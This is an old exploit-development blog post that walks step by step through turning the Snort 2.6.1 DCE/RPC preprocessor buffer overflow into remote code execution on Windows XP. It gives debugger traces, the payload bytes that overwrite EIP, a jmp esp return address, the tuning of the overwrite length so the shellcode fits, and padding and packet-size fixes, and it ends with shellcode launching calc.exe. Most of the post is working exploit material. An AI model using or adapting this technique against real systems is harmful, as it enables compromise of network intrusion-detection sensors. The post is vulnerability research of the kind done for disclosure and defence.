Software Vulnerability Exploitation Blog

Thursday, March 01, 2007

Snort 2.6.1 DCE/RPC Preprocessor Remote Buffer Overflow: Part 2 - Command Execution

In previous post, I had described detailed of Snort DCE/RPC preprocessor vulnerability and how to create a packet that can cause DoS to snort. In this post, I will investigate deeper to find a way to let snort execute shellcode embedded in the packet. I use Snort 2.6.1 + Windows XP SP2 as the testing environment in this post.

First of all, I attach Snort to Windbg and then run the DoS exploit to see how snort crashes:


[root@localhost scapy]# python snort_dcerpc_dos.py 192.168.87.1

(e58.e00): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=03a81f40 ebx=00000101 ecx=03a81f40 edx=03a81f00 esi=03630da8 edi=03630caa
eip=030b0005 esp=0012fa20 ebp=03630dda iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
030b0005 ?? ???

Snort crashes because of access violation. EIP is 0x030b0005. I view my code to find the byte “\x05\x00\x0b\x03”, reverse of “\x03\x0b\x00\x05” – network byte order, to find which part of packet the overwrite to EIP:


# Write AndX Request #2
payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\xff\x01\x30\x01\x00\x00\x00\x00\x49\x00\xee"

payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\...

They are the first 4 bytes of DCE/RPC Message that overwrite EIP. Then I view the stack:

0:000> dd esp - 0x10
0012fa10 30024700 00000001 ee004900 030b0005
0012fa20 00000010 00000048 00000001 000110b8
0012fa30 03a6258b 03630caa 03630da8 ffff01ff
0012fa40 03630247 03630caa 00000096 fc590068
0012fa50 03a62d37 03630caa 03630da8 fc590068

Bytes highlighted with green are part of DCE/RPC message that overwrite the stack. I try to make sure that I can control EIP completely by change “\x05\x00\x0b\x03” to “\x44\x43\x42\x41”:


eax=03a81f40 ebx=00000101 ecx=03a81f40 edx=03a81f00 esi=03630da8 edi=03630caa
eip=41424344 esp=0012fa20 ebp=03630dda iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
41424344 ?? ???

Yes, I can control EIP. Then, to ensure that Snort can execute some code, I change bytes “\x44\x43\x42\x41” to “\xed\x1e\x94\x7c”, 0x7c941eed (jmp esp) instruction, and change byte after that to “\xcc” – break instruction.


eax=03a81f40 ebx=00000101 ecx=03a81f40 edx=03a81f00 esi=03630da8 edi=03630caa
eip=0012fa20 esp=0012fa20 ebp=03630dda iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0012fa20 cc int 3
0:000> dd esp - 0x8
0012fa18 ee004900 7c941eed 000000cc 00000048
0012fa28 00000001 000110b8 03a6258b 03630caa
0012fa38 03630da8 ffff01ff 03630247 03630caa
0012fa48 00000096 fc590068 03a62d37 03630caa
0012fa58 03630da8 fc590068 00010166 03a625ba
0012fa68 0000002f 03630caa 03630da8 fc590068
0012fa78 00010166 03630caa 00110096 0000002f
0012fa88 03a62d37 03630caa 03630d40 fff000d0

Snort executes my “cc” instruction. The next thing I have to do is the change “\xcc” byte and beyond to my shellcode, nop + make stack happy code and windows/exec calc.exe from metasploit. But after I run the exploit, Snort crashes instead of calling calc.exe. I decide to add bytes “\xcc” after the return address to see the shellcode in stack:


0012fa20 cc int 3
0:000> dd esp
0012fa20 ffc481cc 44ffffef e983c931 0001d9dd
0012fa30 03a6258b 03630b92 03630c90 ffff01ff

As you can see, only parts of shellcode are in the stack. I forgot the change the value that control how many bytes that overwrite the stack, lol.


# Write AndX Request #2
payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\xff\x01\x30\x01\x00\x00\x00\x00\x49\x00\xee"

With this value 0x0130 I can write 14 bytes of shellcode to the stack. Shellcode’s length is 172 bytes (return address is not included), I have to write more 158 (0x9e) bytes into the stack. So I change 0x0130 to 0x01ce (0x9e (158) + 0x130). I run the exploit again, but I got the problem that there is nothing happened - -“

I try to reduce 0x1ce to 0x1cd:


0:000> dd esp
0012fa20 ffc481cc 44ffffef e983c931 d9eed9dd
0012fa30 5bf42474 a9137381 83f580d1 f4e2fceb
0012fa40 f5c43955 b00bd1a9 f0fc5a95 7e6fd0d1
0012fa50 aa0bc9e6 bc6bd089 f40be522 6c40e047
0012fa60 81405505 f84a10ae 016b13a8 f1a48592
0012fa70 aa0b34dc 936bd08d 7ecbdd22 1e81cdf6
0012fa80 f40bcd22 d1dc5842 35b112ad c5c05acd
0012fa90 f9f8112c 7e8c9122 7e2dcdd9 fc6bd9c1
0:000> dd
0012faa0 f5305122 9d0bd1a9 03b18e95 0d0987c9
0012fab0 a5fb112a 1758afc1 0b18b9da 0ad7df23
0012fac0 99e1b24e 8de5ffca 0380d1cc fff0017c

The value 0x1cd write 171 bytes into the stack, but 0x1ce there is nothing happened. Seem the last byte is the problem. After I debug and investigate, I found that when I use 0x1ce as the number bytes to overwrite, Snort doesn’t process the packet because of this code in ProcessSMBWriteX():


if ( writeX->dataOffset >= total_size )
{
return 0;
}

To solve this problem, I add the padding after the shellcode “\x90” and run the exploit. Calc.exe is called !!!. Yeah, mission complete. To confirm that this calc program is called by snort, I use process explorer and view it’s properties

Photobucket - Video and Image Hosting

As you can see, the current working directory is C:\Snort\bin, this could be imply that it is called by snort.exe :)

P.S. One thing that should not forget in modification of this exploit is that change the size of SMB packet to the correct one.

...
# NetBIOS Session Services
payload = "\x00\x00\x02\xab"
...

This value should be equal or greater than size of SMB packet.

1 Comments:

Post a Comment

<< Home